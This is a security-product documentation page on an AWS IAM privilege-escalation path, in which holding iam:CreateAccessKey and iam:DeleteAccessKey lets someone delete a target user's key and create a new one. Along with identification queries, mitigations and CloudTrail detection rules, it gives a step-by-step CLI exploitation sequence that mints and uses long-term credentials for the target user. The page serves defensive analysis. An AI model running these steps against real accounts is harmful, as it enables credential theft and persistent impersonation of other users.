Skip to content

AWS_CREATE_DELETE_ACCESS_KEY

Copy page

Summary

Forestall ACL Alias AWS_CREATE_DELETE_ACCESS_KEY
Affected Object Types AWSUser|AWSRole|AWSGroup → AWSUser
Exploitation Certainty High
AWS IAM Action iam:CreateAccessKey + iam:DeleteAccessKey

Description

An attacker with both iam:CreateAccessKey and iam:DeleteAccessKey on a target IAM user can bypass the AWS 2-key limit unconditionally. They delete one existing key to free a slot, then immediately create a fresh key. The result is long-term credentials for the target user, regardless of how many keys that user held before.

This is a consolidated privesc edge. Either action alone doesn’t deliver impersonation. Together they do. The new key is indistinguishable from a legitimate one, and it survives rotation of the target’s original keys.

Edge semantics: (Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_CREATE_DELETE_ACCESS_KEY]-> (TargetUser:AWSUser)

Precondition: none. Delete+create bypasses the 2-key limit unconditionally.

Identification

# Check who has both CreateAccessKey and DeleteAccessKey on IAM users
aws iam get-account-authorization-details \
--filter User Role Group LocalManagedPolicy AWSManagedPolicy \
--query "UserDetailList[*].[UserName,AttachedManagedPolicies[*].PolicyName]"
# Simulate both actions for a principal
aws iam simulate-principal-policy \
--policy-source-arn <attacker-arn> \
--action-names iam:CreateAccessKey iam:DeleteAccessKey \
--resource-arns "arn:aws:iam::*:user/*"

PowerShell (AWS Tools):

$principal = "<attacker-arn>"
Test-IAMPrincipalPolicy -PolicySourceArn $principal `
-ActionName @("iam:CreateAccessKey","iam:DeleteAccessKey") `
-ResourceArn "arn:aws:iam::*:user/*"

Exploitation

# Step 1: Find existing keys on target (need to free a slot if target has 2)
aws iam list-access-keys --user-name <target-user>
# Step 2: Delete one existing key
aws iam delete-access-key \
--user-name <target-user> \
--access-key-id <existing-key-id>
# Step 3: Create a new key, returns AccessKeyId + SecretAccessKey
aws iam create-access-key --user-name <target-user>
# Step 4: Use the new credentials
export AWS_ACCESS_KEY_ID=<new-key-id>
export AWS_SECRET_ACCESS_KEY=<new-secret>
aws sts get-caller-identity

Mitigation

  • Restrict iam:CreateAccessKey and iam:DeleteAccessKey to dedicated IAM break-glass roles; deny for all service principals.
  • Apply IAM permission boundaries so that even with these actions, the resulting credentials cannot exceed the boundary.
  • Use SCPs to deny access key creation outside approved accounts or OUs.
  • Prefer temporary credentials (IAM roles / STS) over long-term access keys wherever possible.
  • Enable AWS Config rule iam-user-no-policies-check and access-keys-rotated to detect stale or surplus keys.

Detection

CloudTrail Event Description Key Fields
DeleteAccessKey An existing key was deleted requestParameters.userName, requestParameters.accessKeyId, userIdentity.arn
CreateAccessKey A new key was created for a user requestParameters.userName, responseElements.accessKey.accessKeyId, userIdentity.arn

Alert when DeleteAccessKey is followed by CreateAccessKey for the same userName within a short window and the caller is not the key owner. Also alert on any CreateAccessKey where the caller ARN differs from the target userName.

References

Was this page helpful?

Thank you for your feedback.